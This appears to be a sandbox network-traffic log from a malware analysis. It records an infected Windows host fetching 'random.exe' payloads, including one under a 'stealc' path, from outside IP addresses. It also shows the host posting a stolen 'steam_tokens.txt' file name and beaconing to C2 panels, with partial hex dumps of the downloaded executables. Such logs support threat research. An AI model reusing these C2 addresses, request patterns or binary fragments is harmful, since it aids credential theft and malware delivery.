Jul 27, 2024 12:01:19.333184958 CEST	363	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 136 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4d 6e 78 6f 64 48 52 77 4f 69 38 76 4d 54 67 31 4c 6a 49 78 4e 53 34 78 4d 54 4d 75 4d 54 59 76 63 32 39 72 59 53 39 79 59 57 35 6b 62 32 30 75 5a 58 68 6c 66 44 42 38 4d 48 78 54 64 47 46 79 64 48 77 30 66 41 3d 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8MnxodHRwOi8vMTg1LjIxNS4xMTMuMTYvc29rYS9yYW5kb20uZXhlfDB8MHxTdGFydHw0fA==
Jul 27, 2024 12:01:23.881361008 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBGDHIIDAEBFHJJDBFI Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="file"------JDBGDHIIDAEBFHJJDBFI--
Jul 27, 2024 12:01:24.504188061 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 12:01:24.529010057 CEST	463	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJECFHCBKKEBAKFIJDHI Host: 85.28.47.31 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 2d 2d 0d 0a Data Ascii: ------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="message"files------KJECFHCBKKEBAKFIJDHI--
Jul 27, 2024 12:01:24.718043089 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 12:01:24.736898899 CEST	470	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECAAEHCFIEBGCBGHIE Host: 85.28.47.31 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 2d 2d 0d 0a Data Ascii: ------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JJECAAEHCFIEBGCBGHIE--
Jul 27, 2024 12:01:25.331156015 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	185.215.113.16	80	6720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:01:19.341769934 CEST	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Jul 27, 2024 12:01:20.086852074 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:01:19 GMT Content-Type: application/octet-stream Content-Length: 1904640 Last-Modified: Sat, 27 Jul 2024 09:24:52 GMT Connection: keep-alive ETag: "66a4bce4-1d1000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 10 41 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 90 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PELAfK@Kl@WkuKuK @.rsrc@.idata @ *@hoxupgqj1@fapapsdzK@.taggant0K"@
Jul 27, 2024 12:01:20.086925983 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 27, 2024 12:01:20.086982965 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 27, 2024 12:01:20.087032080 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 27, 2024 12:01:20.087083101 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 27, 2024 12:01:20.087131023 CEST	1236	IN	Data Raw: 4d 6d ef 7b 56 2f 52 c0 f5 7f 3f 45 ec 43 7b 0f 42 5e af d6 ae ea 7f 10 55 5e fb f1 bf 28 6f f1 89 36 dd d7 dc bb fd fe d1 6e 6e 24 d9 87 13 46 0e cf 1f 45 3a 59 47 fc 0d af 7d 40 38 5f 5d 49 c1 0b 65 e2 c2 b7 2f 9a 41 1c 8d 50 be 7b 43 49 a3 01 Data Ascii: Mm{V/R?EC{B^U^(o6nn$FE:YG}@8_]Ie/AP{CIq\|a}Ulg]o\_m}}1M_^'m]BB^{S"#~}}_]n1PNhoY<(9]Ds{N/$In_7%A{Ecxq_oX\D"#~1}p_^/%S[V]f
Jul 27, 2024 12:01:20.087177992 CEST	1236	IN	Data Raw: 03 db 59 45 08 b5 01 ac b9 6b 7e 51 ec 37 08 2c 20 cf ff 64 8f 08 9b ae f5 ee f7 a0 4b d4 c4 b5 39 ff 1c f0 ad a7 af d0 2a 99 85 c9 02 66 b7 a6 9a 6a 9d 48 25 a1 0f c5 4e f6 9e dd f7 bc 33 57 9f a5 1f 4e c2 22 d0 cb d7 77 de 57 ad 74 fe 00 b3 7f Data Ascii: YEk~Q7, dK9*fjH%N3WN"wWtZTbot4z~u?6S!r'LjKL=-zH?)Qo~J/,:RvAt7Nc9Xf):or4GikVj j_({
Jul 27, 2024 12:01:20.087227106 CEST	1236	IN	Data Raw: d2 20 98 b1 ba 0f bc 6f 4b 76 4e 51 26 45 64 c9 33 db 9a e5 3e 25 05 02 e2 4c bb 30 34 a8 01 d1 3f 3b bc 90 2d 71 7e c2 0a 97 ef bd d3 5d ba d0 a1 d6 06 d1 5b 60 b7 b0 5f 7a 2d 26 23 56 dc 90 55 4f 21 19 b9 6d 53 64 ed 7a 5e 87 a1 42 e8 ed a2 72 Data Ascii: oKvNQ&Ed3>%L04?;-q~][`_z-&#VUO!mSdz^BrYnda33yGM5VR9uUp'5UTFyz{.6._2qy$!kzW~;y?ZqC_P`@DM'hA9Of>q:bSW4a93
Jul 27, 2024 12:01:20.087275982 CEST	924	IN	Data Raw: 17 66 d1 01 8e 73 6f 2b f5 16 5d a4 d1 7d 20 57 01 df 29 2d 87 e7 d7 a8 05 6b 20 5f 5d 08 4f d0 ad d9 82 89 bd 9b 07 2d 31 c2 45 85 df 3f 99 94 ec 70 88 a1 a8 ad 54 10 42 a4 1a 36 0e 0c 30 a4 c9 34 59 08 d2 23 26 79 bb 5b d3 0b f9 f8 10 52 0b e0 Data Ascii: fso+]} W)-k _]O-1E?pTB604Y#&y[R mN3RdP]o4%Tj82 )S_Fo_W{ES8^;M7z'EYZ:FWX%Vf^F>a)[O8T"YGD_>:=/3
Jul 27, 2024 12:01:20.087323904 CEST	1236	IN	Data Raw: 6d a5 d3 d9 5d b5 ab 59 c8 8f 67 7d d6 0a 47 89 c6 6f db da ad 64 d0 d7 1d 6e 64 b9 01 36 7a 48 9b 8f fb 0d d4 d9 49 be 3a 65 20 ca 07 83 9d 82 30 a3 a3 78 4c 8f 1a f5 5e 1e b3 84 ec e9 6f f0 85 94 9c 8f c5 97 25 e9 7e d3 07 8b 3c 6c 7b 81 ec 1d Data Ascii: m]Yg}Godnd6zHI:e 0xL^o%~<l{QO}/Pq+$5IsFhFgR\Yia_4TCCh#p3x,6y)Np~mX@kjke:#$7aY@R\Pd.pL~
Jul 27, 2024 12:01:20.094541073 CEST	1236	IN	Data Raw: f2 41 29 f5 84 00 e7 38 8b bc 25 09 a2 29 ff f5 45 55 dc 48 69 23 79 e6 d7 70 2e 83 df 02 9e ea 89 90 bd 29 5b 68 7f 61 5e d8 3e f4 ee cf 59 04 e1 2c ab d8 50 80 88 d2 51 26 cf 1e 9f f8 be 34 73 60 84 57 53 1f 3c ef f7 12 a7 a0 8d 8e 9c 0a 9f 01 Data Ascii: A)8%)EUHi#yp.)[ha^>Y,PQ&4s`WS<cB^QYsS#N{Ie~A_Al*"Mf>O?pr\|/3}y><K<NnyJgMgC..duqruEaT}SIcQ#s0
Jul 27, 2024 12:01:22.117275000 CEST	80	OUT	GET /soka/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Jul 27, 2024 12:01:22.358328104 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:01:22 GMT Content-Type: application/octet-stream Content-Length: 1933824 Last-Modified: Sat, 27 Jul 2024 09:25:27 GMT Connection: keep-alive ETag: "66a4bd07-1d8200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 f0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PEL@fL@ M@WkLL @.rsrc@.idata @ +@zywzqxulpp2h@dpxiwhceL\@.taggant0L"`@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49726	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:02.903677940 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:03.673782110 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:03.674731016 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:03.940880060 CEST	381	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 62 66 0d 0a 20 3c 63 3e 31 30 30 30 30 31 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 33 39 31 30 65 35 65 62 66 35 64 65 30 34 33 34 39 30 32 35 30 38 30 64 39 23 31 30 30 30 30 31 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: bf <c>1000016001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca73910e5ebf5de04349025080d9#1000017001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49727	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:03.047342062 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:03.826072931 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:03.828011990 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:04.090069056 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49728	185.215.113.16	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:03.965121984 CEST	57	OUT	GET /stealc/random.exe HTTP/1.1 Host: 185.215.113.16
Jul 27, 2024 12:02:04.737385035 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:04 GMT Content-Type: application/octet-stream Content-Length: 249856 Last-Modified: Sat, 27 Jul 2024 09:53:14 GMT Connection: keep-alive ETag: "66a4c38a-3d000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 54 67 94 73 10 06 fa 20 10 06 fa 20 10 06 fa 20 7f 70 51 20 0b 06 fa 20 7f 70 64 20 00 06 fa 20 7f 70 50 20 74 06 fa 20 19 7e 69 20 1b 06 fa 20 10 06 fb 20 64 06 fa 20 7f 70 55 20 11 06 fa 20 7f 70 60 20 11 06 fa 20 7f 70 67 20 11 06 fa 20 52 69 63 68 10 06 fa 20 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 8c 43 f1 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 1a 02 00 00 76 03 02 00 00 00 00 f9 20 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 05 02 00 04 00 00 71 80 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$Tgs pQ pd pP t ~i d pU p` pg Rich PELCdv 0@`qYxZXT@0.text `.rdata304@@.data.pR@.fufuc.@@.xixeray2@.rsrc6@@
Jul 27, 2024 12:02:04.737457037 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 8b f1 c7 06 50 54 42 00 e8 e1 06 00 00 f6 44 24 08 01 74 07 56 e8 03 0c 00 00 Data Ascii: VPTBD$tVY^4U, BE$BV3W{3EEuM(BE?E,BEE EEEE~D=u~D@.=u\|yDEEEE
Jul 27, 2024 12:02:04.737508059 CEST	1236	IN	Data Raw: 44 02 86 00 00 00 75 31 56 56 56 56 56 56 68 00 54 42 00 ff 15 b8 30 42 00 56 56 ff 15 78 30 42 00 56 ff 15 58 30 42 00 56 56 56 56 ff 15 90 30 42 00 56 ff 15 48 30 42 00 4f 75 c0 68 38 54 42 00 ff 15 6c 30 42 00 ff 15 80 79 44 02 5f 5e 5b c9 c3 Data Ascii: Du1VVVVVVhTB0BVVx0BVX0BVVVV0BVH0BOuh8TBl0ByD_^[V3=~DWuEVVVV0BVVVVVVVVVV1BVVPVVVVV"VVV(3*m}VVVVV0B0B`0BV0B.G\|dB~Dz
Jul 27, 2024 12:02:04.737554073 CEST	1236	IN	Data Raw: 8b ff 55 8b ec 5d e9 dc ff ff ff 8b ff 55 8b ec 83 7d 08 00 75 15 e8 91 17 00 00 c7 00 16 00 00 00 e8 34 17 00 00 83 c8 ff 5d c3 8b 45 0c 85 c0 74 e4 6a 00 ff 70 04 ff 30 ff 75 08 e8 f3 22 00 00 83 c4 10 5d c3 8b ff 55 8b ec 83 ec 10 8b 4d 08 53 Data Ascii: U]U}u4]Etjp0u"]UMS]VW}M]t}tu93_^[ut39Ev!tSjQY+t39Ew}F}tFEEFtDFt=
Jul 27, 2024 12:02:04.737601995 CEST	656	IN	Data Raw: 00 59 83 65 fc 00 ff 75 08 e8 2a fe ff ff 59 89 45 e4 c7 45 fc fe ff ff ff e8 09 00 00 00 8b 45 e4 e8 2a 19 00 00 c3 ff 75 08 e8 fb 15 00 00 59 c3 8b ff 55 8b ec 83 7d 08 00 75 0b ff 75 0c e8 3c 13 00 00 59 5d c3 56 8b 75 0c 85 f6 75 0d ff 75 08 Data Ascii: YeuYEEEuYU}uu<Y]VuuuOY3MW0uFVuj5JC0Bu^9JCt@Vc-YtvVS-Y83_^]'`0BPY`0BPYQ@2BG-YU
Jul 27, 2024 12:02:04.738993883 CEST	1236	IN	Data Raw: 89 45 e0 83 7d e4 00 75 06 50 e8 9f 27 00 00 e8 bf 27 00 00 c7 45 fc fe ff ff ff 8b 45 e0 e8 9d 16 00 00 c3 e8 60 38 00 00 e9 89 fe ff ff 8b ff 55 8b ec 51 56 8b 75 0c 56 e8 0c 16 00 00 89 45 0c 8b 46 0c 59 a8 82 75 17 e8 fa 0f 00 00 c7 00 09 00 Data Ascii: E}uP''EE`8UQVuVEFYuN /@t"S3t^NFFF^]u, ;t@;uuAYuVAYFWF>HN+IN
